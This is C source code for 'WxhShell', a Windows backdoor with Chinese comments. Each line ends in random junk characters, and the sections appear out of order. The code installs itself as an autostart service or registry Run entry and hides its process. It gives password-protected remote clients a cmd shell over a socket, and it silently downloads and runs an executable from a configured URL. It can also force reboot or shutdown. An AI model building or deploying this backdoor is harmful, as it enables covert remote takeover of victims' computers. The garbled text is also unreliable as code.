    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z>/ *q2  
    if(Boot(SHUTDOWN)) CZ^ ,bad  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]"O* &  
    else { ~md06"AYJ  
    closesocket(wsh); h8k\~/iJ  
    ExitThread(0); DoBQ$Ke p  
    } 0}` -<(  
    break; `Y!8,( 5#  
    } =(R3-['QIb  
  // 获取shell i$.!8AV6  
  case 's': { ]l=CiG4!M  
    CmdShell(wsh); r0OP !u  
    closesocket(wsh); 4"nYxL"<4  
    ExitThread(0); .|P :n'  
    break; S%?%06$  
  } ?hrz@k|  
  // 退出 }YiFiGf,  
  case 'x': { _9=cxwi<w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n%}#e!  
    CloseIt(wsh); {QN 5QGvK  
    break; H:Q4!<  
    } benqm ~{\  
  // 离开 b!/-9{  
  case 'q': { %ol1WG9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y~r)WV!G  
    closesocket(wsh); wrJ" (:VZ  
    WSACleanup(); ?{L'd  
    exit(1); hq&9S{Ep  
    break; A*|\E:fo  
        } osO\ib_%  
  } iTT7<x  
  } ym` 4v5w  
M4 }))  
  // 提示信息 5+b73R3r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1<Uv4S  
} z X+i2,  
  } >%N,F`^3  
g&_f%hx?  
  return; xMpgXB!'  
} 4qd( a)NdY  
l%u8Lq  
// shell模块句柄 2J)  
int CmdShell(SOCKET sock) 6@:<62!;  
{ D)[(  
STARTUPINFO si; C0^r]^$Z  
ZeroMemory(&si,sizeof(si)); $EdL^Q2KAy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fU.z_ T[@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (_N(K`4#W  
PROCESS_INFORMATION ProcessInfo; U9\w)D|+eE  
char cmdline[]="cmd"; D deKZ)8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]Ee$ulJ02  
  return 0; #*S.26P^4  
} `4Fw,:+e  
v@fy*T\3  
// 自身启动模式 cQ`0d3  
int StartFromService(void) s? Gv/&  
{ T;,,!  
typedef struct c:B` <  
{ I,Jb_)H&t  
  DWORD ExitStatus; r0pwKRE~t  
  DWORD PebBaseAddress; 0hXx31JN N  
  DWORD AffinityMask; >I;.q|T  
  DWORD BasePriority; T}"[f/:N/  
  ULONG UniqueProcessId; }P\6}cK  
  ULONG InheritedFromUniqueProcessId; 3".#nN  
}   PROCESS_BASIC_INFORMATION; D mky!Cp  
l&Y'5k_R  
PROCNTQSIP NtQueryInformationProcess; rodqa  
IF6-VFY:6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :+?r nb)N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 93,7yZ 5#  
q(2ZJn13f  
  HANDLE             hProcess; ?O]RQXsZ2  
  PROCESS_BASIC_INFORMATION pbi; X]W(  
uA t{WDHm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _ib @<%  
  if(NULL == hInst ) return 0; "kVzN22  
?jvuTS2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #\K"FE0PGz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <LJb,l"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mwZ) PySm)  
lPtML<a  
  if (!NtQueryInformationProcess) return 0; Jm0.\[J  
<29K! [  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \#N?  
  if(!hProcess) return 0; Y%}N@ ,lT  
bV"t;R9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Pj!f^MN  
P%!=Rj^2m  
  CloseHandle(hProcess); Cm"S=gV  
N9rAosO*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bu08`P9  
if(hProcess==NULL) return 0; l<7SB5  
1FT3d  
HMODULE hMod; );n/G  
char procName[255]; .2ZFJ.Z"  
unsigned long cbNeeded; Tv 5J  
$ 1m}lXk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T)ISDK4>S"  
9E[==2TO  
  CloseHandle(hProcess); !?|xeQ}  
@Q;s[Kg{!  
if(strstr(procName,"services")) return 1; // 以服务启动 mwI7[I2q  
ua ky2SgN  
  return 0; // 注册表启动 dI!/H&`B]  
} 6mgLeeY  
mGkQx -|  
// 主模块 uW!saT5o  
int StartWxhshell(LPSTR lpCmdLine) #k)t.P Q  
{ k;qWiYMV  
  SOCKET wsl; 3 4&xh1=3  
BOOL val=TRUE; ~sq@^<M)s  
  int port=0; ?a1pO#{Dg  
  struct sockaddr_in door; 6)20%*[  
<num!@2D  
  if(wscfg.ws_autoins) Install(); nI1(2a1  
[%~yY&  
port=atoi(lpCmdLine); 2. {/ls  
TgHUH>k  
if(port<=0) port=wscfg.ws_port; ]M'~uTf  
6}|h  
  WSADATA data; ~-R2mAUK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K{B|  
e,W,NnCICj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "7j E&I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4G XS(  
  door.sin_family = AF_INET; <z>oY2%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $q .}eb0  
  door.sin_port = htons(port); QBN\wL8g  
v53|)]V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~03MH'  
closesocket(wsl); F!*GrQms  
return 1; ?zbWz=nq  
} wkV'']= Xg  
BL"7_phM,  
  if(listen(wsl,2) == INVALID_SOCKET) { Ed2A\S6tl  
closesocket(wsl); uv^x  
return 1; < $otBC/%  
} Htln <N  
  Wxhshell(wsl);  nb6Y/`G  
  WSACleanup(); =);@<Jp  
j['B9vG  
return 0; Z_ Y'#5o#  
l\uNh~\  
} *JQ*$$5  
1X9s\JKQ  
// 以NT服务方式启动 g#cet{>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) evNe6J3  
{ g-]~+7LL  
DWORD   status = 0; LhM$!o?W  
  DWORD   specificError = 0xfffffff; (mKH,r  
*;~u 5y2b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U=U5EdN;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; AYpvGl'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (oG.A  
  serviceStatus.dwWin32ExitCode     = 0; IOY7w"|LW  
  serviceStatus.dwServiceSpecificExitCode = 0; /SQ/$`1{  
  serviceStatus.dwCheckPoint       = 0;  p(8@  
  serviceStatus.dwWaitHint       = 0; 2i1xSKRYrD  
&ODo7@v`1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bSz7?NAp  
  if (hServiceStatusHandle==0) return; 9 %i\)  
~131|e`C  
status = GetLastError(); p8?v o ?^  
  if (status!=NO_ERROR) >}W[>WReI  
{ HXztEEK6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bS954d/  
    serviceStatus.dwCheckPoint       = 0; %\n|2*r  
    serviceStatus.dwWaitHint       = 0; f fBd  
    serviceStatus.dwWin32ExitCode     = status; GNq f  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4l6 8+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M}f(-,9  
    return; CjP<'0gT  
  } r@bh,U$  
T#*H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 22U`1AD3U  
  serviceStatus.dwCheckPoint       = 0; S6 a\KtVa  
  serviceStatus.dwWaitHint       = 0; (Cfb8\~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QCE7VV1Rw  
} 0Oc?:R'$  
$(]nl%<Q  
// 处理NT服务事件,比如:启动、停止 X{OWDy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !2Z"Lm  
{ 85;bJfY  
switch(fdwControl) SgehOu  
{ )|^8`f  
case SERVICE_CONTROL_STOP: 0K26\1  
  serviceStatus.dwWin32ExitCode = 0; H:~u(N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rDa{Ve  
  serviceStatus.dwCheckPoint   = 0; & d2 `{H  
  serviceStatus.dwWaitHint     = 0; js@L%1r#L  
  { 6Io}3}3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L/`1K_\l  
  } w D r/T3  
  return; "42/P4:  
case SERVICE_CONTROL_PAUSE: |%mZ|,[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?+.C@_QZQ  
  break; 2zW IB[  
case SERVICE_CONTROL_CONTINUE: s&-MJ05y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aekke//y  
  break; *kg->J  
case SERVICE_CONTROL_INTERROGATE: |iUC\F=-  
  break; g$?^bu dxv  
}; kLZVTVSJt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]+W){W=ai  
} V K 7  
,w H~.LHi  
// 标准应用程序主函数 F P|cA^$<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *4}NLUVX  
{ VJ&<6  
,m5i(WL  
// 获取操作系统版本 p\lR1  
OsIsNt=GetOsVer(); UU MB"3e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6[c|14l  
!$oa6*<1  
  // 从命令行安装 %xOxMK@  
  if(strpbrk(lpCmdLine,"iI")) Install(); |%v:>XEO  
G 2)F<Y  
  // 下载执行文件 }X^MB  
if(wscfg.ws_downexe) { VN!nef  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) FpA t  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ui`{U  
} j&'6|s{  
Zd>sdS`#r  
if(!OsIsNt) { QOSMV#Nw%  
// 如果时win9x,隐藏进程并且设置为注册表启动 #X?[")R  
HideProc(); )`f-qTe  
StartWxhshell(lpCmdLine); 1BU97!  
} 5)lcgvp  
else 1p$(\  
  if(StartFromService()) "8ellKh  
  // 以服务方式启动 Kq-1  b  
  StartServiceCtrlDispatcher(DispatchTable); n9}BT^4 v  
else iBSg`"S^]C  
  // 普通方式启动 ] h(Iun  
  StartWxhshell(lpCmdLine); Td'(RV  
}RI_k&;  
return 0; rxu_Ssd@"  
} C1=&Vm>g+  
<TtPwUX  
abR<( H12  
qpYgTn8l7  
=========================================== vf{$2 rC  
{L%JDJ  
xL"J?Gy  
~44u_^a  
az0=jou<Zl  
aH'fAX0bF  
" 9]oT/ooM  
BoYY^ih  
#include <stdio.h> v7wyQx+Q  
#include <string.h> ;WX.D]>{W  
#include <windows.h> Yr_ B(n  
#include <winsock2.h> xsj ,l@Ey  
#include <winsvc.h> K6p\ >J  
#include <urlmon.h> &AJkYh  
B?=R= p  
#pragma comment (lib, "Ws2_32.lib") F{E@snc  
#pragma comment (lib, "urlmon.lib") W6NhJ#M7  
f^B8!EY#:  
#define MAX_USER   100 // 最大客户端连接数 *af\U3kx  
#define BUF_SOCK   200 // sock buffer G&{yM2:E  
#define KEY_BUFF   255 // 输入 buffer p7;K] AW  
@gK`RmhGE5  
#define REBOOT     0   // 重启 @M4c/k}  
#define SHUTDOWN   1   // 关机 y1%OH#:duD  
|kPgXq6  
#define DEF_PORT   5000 // 监听端口 |7c],SHm  
-EP1Rl`\  
#define REG_LEN     16   // 注册表键长度 M*gvYo  
#define SVC_LEN     80   // NT服务名长度 ue@/o,C>  
9S@x  
// 从dll定义API #&Tm%CvB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |nx3x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xz!0BG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w)+1^eW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xB Wl|j  
e72Fz#<q  
// wxhshell配置信息 63=&??4  
struct WSCFG { )H W   
  int ws_port;         // 监听端口 m 1; Htw  
  char ws_passstr[REG_LEN]; // 口令 h@$SJe(hl  
  int ws_autoins;       // 安装标记, 1=yes 0=no +d\o|}c  
  char ws_regname[REG_LEN]; // 注册表键名 6GunEYK!N8  
  char ws_svcname[REG_LEN]; // 服务名 -^m?%_<50l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6)uBUM;i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5tbCx!tL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0q"4\#4l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `KA==;0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =M;F&;\8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D r(0w{5  
u'l4=e  
}; ojnO69v  
&@oI/i&0B  
// default Wxhshell configuration lOVcXAe}  
struct WSCFG wscfg={DEF_PORT,  YFm%W@  
    "xuhuanlingzhe", oqF?9<Vgc,  
    1, %akW43cE  
    "Wxhshell", GuR^L@+ -.  
    "Wxhshell", U? Jk  
            "WxhShell Service", Gkuqe3  
    "Wrsky Windows CmdShell Service", e7;7TrB.  
    "Please Input Your Password: ", :KO&j"[  
  1, j;`Q82V\  
  "http://www.wrsky.com/wxhshell.exe", #Pg`0xiV  
  "Wxhshell.exe" /ZV2f3;t  
    }; P-4$Qksx  
3=uhy|f! /  
// 消息定义模块 7@<.~*Bl6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EO)JMV?6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (1D1;J4g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q1:dcxR[  
char *msg_ws_ext="\n\rExit."; K^fs #7  
char *msg_ws_end="\n\rQuit."; hO8xH +;  
char *msg_ws_boot="\n\rReboot..."; _S ng55s  
char *msg_ws_poff="\n\rShutdown..."; CjpGo}a/  
char *msg_ws_down="\n\rSave to "; n/1t UF  
0"OEOYs}  
char *msg_ws_err="\n\rErr!"; cgrSd99.  
char *msg_ws_ok="\n\rOK!"; {FvFah  
tI{]&dev  
char ExeFile[MAX_PATH]; ~ q-Z-MA  
int nUser = 0; ^>l <)$s  
HANDLE handles[MAX_USER]; 7o+L  
int OsIsNt; 3Sfd|0^  
%RV81H9B  
SERVICE_STATUS       serviceStatus; GoybkwFjZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }X{rE|@  
n%F _ 3`  
// 函数声明 B.G6vx4yp  
int Install(void); BQ Pmo1B  
int Uninstall(void); 5]dlD #  
int DownloadFile(char *sURL, SOCKET wsh); fVn4=d6X  
int Boot(int flag); 06Wqfzceb  
void HideProc(void); $4g {4-)  
int GetOsVer(void); o^2MfFS  
int Wxhshell(SOCKET wsl); ZXb|3|D  
void TalkWithClient(void *cs); TbD  
int CmdShell(SOCKET sock); =8 @DYz'  
int StartFromService(void); N[W#wYbH  
int StartWxhshell(LPSTR lpCmdLine); 0C :8X   
=|i_T%a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %.=}v7&<z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !lfE7|\p  
Vpg>K #w  
// 数据结构和表定义 t~ {O)tt  
SERVICE_TABLE_ENTRY DispatchTable[] = (5!'42  
{ 2JK '!Ry)  
{wscfg.ws_svcname, NTServiceMain}, Kc\8GkdB  
{NULL, NULL} nIg 88*6b,  
}; KuJ9bn{u!C  
Cik1~5iF  
// 自我安装 As46:<!2  
int Install(void) >rQj1D)@  
{ D{JjSky  
  char svExeFile[MAX_PATH]; l-%] f]>  
  HKEY key; r gIWM"  
  strcpy(svExeFile,ExeFile); 9 ~W]D!m,  
+45SKu=  
// 如果是win9x系统,修改注册表设为自启动 c~(61Sn]  
if(!OsIsNt) { 3&})gU&a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~o_JZ:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  'l5  
  RegCloseKey(key); &6 s&nx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )$S=iL8(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ![B|Nxq}@  
  RegCloseKey(key); rNV3-#kU  
  return 0; 5c::U=  
    } *90dkJZ.  
  } _33 b %  
} b_TI_  
else { F62 uDyY  
RWR{jM]V  
// 如果是NT以上系统,安装为系统服务 :-jbIpj'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H14Q-2U1xa  
if (schSCManager!=0) a9e0lW:=c  
{ m,\+RUW'  
  SC_HANDLE schService = CreateService y]yl7g =~  
  ( t)W=0iEd9  
  schSCManager, jm%s#`)g  
  wscfg.ws_svcname, 9jImuSZ  
  wscfg.ws_svcdisp, f%EHzm/V  
  SERVICE_ALL_ACCESS, *xxk70Cb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -*mbalU,J  
  SERVICE_AUTO_START, F3(Sb M-  
  SERVICE_ERROR_NORMAL, ) Z3KO  
  svExeFile, EmT_T 3v  
  NULL, |c0^7vrC  
  NULL, fd *XK/h  
  NULL, R-m5(  
  NULL, %/I:r7UR{  
  NULL By@65KmR"  
  ); 0+iRgnd9?  
  if (schService!=0) Zy7kPL;b  
  { jz" >Kh.}  
  CloseServiceHandle(schService); ({rcH.:  
  CloseServiceHandle(schSCManager); @H`jDaB 9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %"r9;^bj&<  
  strcat(svExeFile,wscfg.ws_svcname); g "Du]_,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w =F9>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \r:*`Z*y  
  RegCloseKey(key); wb62($  
  return 0; C0f%~UMwd  
    } me2vR#  
  } 3T.V*&  
  CloseServiceHandle(schSCManager); 4)e1K/PJ)  
} Fb1<Ic#  
} VX&g[5zr  
6Tmz!E0  
return 1; s@:Yu  
} BGi'UL,  
p7> 9 m  
// 自我卸载 % WDTnEm  
int Uninstall(void) .iR<5.  
{ j>8ubA  
  HKEY key; 2 )o2d^^  
3\RD %[}  
if(!OsIsNt) { ;O)*!yA(GG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e^ N~)Nlj  
  RegDeleteValue(key,wscfg.ws_regname); #"-_~  
  RegCloseKey(key); KH#z =_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JfkEJk<  
  RegDeleteValue(key,wscfg.ws_regname); ;!f~  
  RegCloseKey(key); _5S0A0  
  return 0; KC}G_"f.$  
  } gnZ#86sO  
} J=Kv-@I>E  
} Mw,]Pt6~i  
else { s/@uGC0>  
V/xXW=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >QYx9`x&  
if (schSCManager!=0) sT1k]duT  
{ ^@/wXj:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XE_Lz2H`  
  if (schService!=0) %1p-DX6  
  { }JtcAuQt  
  if(DeleteService(schService)!=0) { 3(K.:376  
  CloseServiceHandle(schService); TI8\qIW  
  CloseServiceHandle(schSCManager); ">=Ep+ix  
  return 0; [ p,]/ ^ N  
  } O1jiD_Y!9  
  CloseServiceHandle(schService); O9N!SQs80  
  } Y.I~.66s  
  CloseServiceHandle(schSCManager); )0 E_Y@  
} ;/V])4=  
} *2/qm:gB  
(t3gNin  
return 1; <LH6my  
} 8Ckd.HKpQ  
]0<K^OIY  
// 从指定url下载文件 7R[7M%H  
int DownloadFile(char *sURL, SOCKET wsh) *VXx\&  
{ eb}XooX  
  HRESULT hr; 8>j&) @q  
char seps[]= "/"; .n_Z0&i/w  
char *token; E8PwA.  
char *file; *MfH\X379  
char myURL[MAX_PATH]; 'wFhfZB1!B  
char myFILE[MAX_PATH]; ?4wl  
`0%;Gz%}  
strcpy(myURL,sURL); 7./WS,49  
  token=strtok(myURL,seps); I/upiqy  
  while(token!=NULL) aC' 6  
  { g:~q&b[q6  
    file=token; oMYFfnoAa  
  token=strtok(NULL,seps); !oi {8X@  
  } 9ec?L  
?A\+s,9  
GetCurrentDirectory(MAX_PATH,myFILE); E4\HI+  
strcat(myFILE, "\\"); lGK7XAx,  
strcat(myFILE, file);  7Oe$Ou  
  send(wsh,myFILE,strlen(myFILE),0); z7BFkZ6+  
send(wsh,"...",3,0); 5h Sd,#:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #s(ob `0|  
  if(hr==S_OK) AXxyB"7A}  
return 0; O0rvr$.  
else )%p46(]  
return 1; H(Wiy@cJn  
kLF3s#k  
} -4Dz9 8du  
s\~j,$Mm2  
// 系统电源模块 .KG9YGL#  
int Boot(int flag) cV1E<CM  
{ 2s,cyCw&  
  HANDLE hToken; e/x 9@1s#  
  TOKEN_PRIVILEGES tkp; c1i[1x%  
GMZ6 dK  
  if(OsIsNt) { "x]7 et,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I m-M2n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <]z4;~/&  
    tkp.PrivilegeCount = 1; $<=d[ 6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4gEw }WiP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4W2.K0Ca  
if(flag==REBOOT) { WoN JF6=?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wPYeKOh'  
  return 0; 1NZpd'$c  
} L~h:>I+pG  
else { 7s%1?$B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vMX\q  
  return 0; ~ m vv :u  
} 3rZPVR$))  
  } GNwFB)?j  
  else { /EQ^-4yr  
if(flag==REBOOT) { !"/"Mqs3$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S{ F\_'%  
  return 0; #D(=[F  
} Lwm /[  
else { "ivVIq2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j p}.W  
  return 0; ldU ><xc2  
} UWqiA`,  
} ;[Xf@xf  
9X1vL  
return 1; c*axw%Us  
} h7.jWJTo  
u f<%!=e  
// win9x进程隐藏模块 m=COF$<  
void HideProc(void) 3qu?qD  
{ 0S+$l  
}9B},  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dEkST[Y3  
  if ( hKernel != NULL ) ettBque  
  { vd^Z^cpi p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Xg USJ*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {Z!t:'x8  
    FreeLibrary(hKernel); 1)~9Eku6K  
  } n/BoK6g  
./DlHS;  
return; >D##94PZ  
} h<'tQGC  
Kx[+$Qt  
// 获取操作系统版本 qKeR}&b  
int GetOsVer(void) XmVst*2=  
{ RxPD44jVA  
  OSVERSIONINFO winfo; Rm,>6bQx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DBu8}2R  
  GetVersionEx(&winfo); v13\y^t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wUg=j nY   
  return 1; Wy1.nn[  
  else  RZqMpW  
  return 0; kDR5kDiS  
} y fuH  
\Q|,0`  
// 客户端句柄模块 n#?y;Y\  
int Wxhshell(SOCKET wsl) nemC-4}  
{ OYa9f[$  
  SOCKET wsh; g38 MF  
  struct sockaddr_in client; s nNd7v.U6  
  DWORD myID; sQr M"i0Y>  
Sy*p6DP  
  while(nUser<MAX_USER) J*%IvRg  
{ ofYZ! -V  
  int nSize=sizeof(client); :UKc:JVNM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `6NcE-oJ  
  if(wsh==INVALID_SOCKET) return 1; 1Z(9<M1!M  
g>b{hkIXg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nI73E  
if(handles[nUser]==0) @o<B>$tbu4  
  closesocket(wsh); AS4oz:B  
else 80gOh:  
  nUser++; )C0I y.N-  
  } 7~N4~KAUS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ak}`zIo  
~xJr|_,gp  
  return 0; fCO<-L9k$  
} mgq4g  
#z*,-EV|  
// 关闭 socket &g8Xjx&zj  
void CloseIt(SOCKET wsh) ?ZhBS3L  
{ ;<F^&/a|yQ  
closesocket(wsh); `lbRy($L  
nUser--; Cf v1nU W  
ExitThread(0); NUuIhB+  
} T#H-GOY:  
B" ]a8}u  
// 客户端请求句柄 =|c7#GaiF  
void TalkWithClient(void *cs) r"VNq&v]9  
{ fQw=z$  
<)L[V  
  SOCKET wsh=(SOCKET)cs; eQfXUpk3@I  
  char pwd[SVC_LEN]; 6OtNWbB  
  char cmd[KEY_BUFF]; Ty;^3  
char chr[1]; szOa yAS  
int i,j; 9`&sZ|"3  
m_;XhO  
  while (nUser < MAX_USER) { J'wJe,  
,o3`O|PiK  
if(wscfg.ws_passstr) { xHkxrXqeI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ki ?V eFp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1l.HQ IS  
  //ZeroMemory(pwd,KEY_BUFF); 5m>f1`4JS  
      i=0; O4^' H}*  
  while(i<SVC_LEN) { [XP\WG>s  
|g<l|lqz|  
  // 设置超时 GIS,EwA  
  fd_set FdRead; h;OHpvk  
  struct timeval TimeOut; Lr "V  
  FD_ZERO(&FdRead); &~=d;llkT  
  FD_SET(wsh,&FdRead); E6?0/"  
  TimeOut.tv_sec=8; 4Ub7T=LG  
  TimeOut.tv_usec=0; y XCZs  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;_/!F}d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H[?l)nZ}  
v\=k[oOu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E8aD[j[w  
  pwd=chr[0]; h~Z:YY)4  
  if(chr[0]==0xd || chr[0]==0xa) { @|d`n\%x  
  pwd=0; 2FN#63  
  break; i06|P I  
  } aL8Z|*  
  i++; 7aHP;X~0  
    } )s ?Hkn  
|tFg9RT  
  // 如果是非法用户,关闭 socket ~#=70  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ece=loV*l  
} hz-^9U  
U@LIw6B!KL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iu`B8yI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T^2o' _:  
q9nQ/]rkHF  
while(1) { MX|@x~9W  
_u#r;h[  
  ZeroMemory(cmd,KEY_BUFF); 5^N` ~  
WG&WPV/p  
      // 自动支持客户端 telnet标准   u)Vn7zh  
  j=0; ?+byRoY>&g  
  while(j<KEY_BUFF) { -[z1r)RZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z:VT%-  
  cmd[j]=chr[0]; 6 _#CvQ  
  if(chr[0]==0xa || chr[0]==0xd) { 9*(uJA  
  cmd[j]=0; K6nNrd}p:  
  break; \IOF 9) F  
  } ql_,U8Jw  
  j++; ii ^Nxnc=  
    } $KsB'BZy  
8y]{I^z}  
  // 下载文件 Lv-M.  
  if(strstr(cmd,"http://")) { U;Yw\&R,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Tqx  
  if(DownloadFile(cmd,wsh)) <,&t}7M/:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2bOFH6g  
  else J>+~//C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zHXb[$ Q  
  } 2))p B/  
  else { n7bML?f'  
YF)c.Q0  
    switch(cmd[0]) { oox;8d4}y  
  ezhK[/E=  
  // 帮助 }t1J`+x%  
  case '?': { Qt=OiKZ  
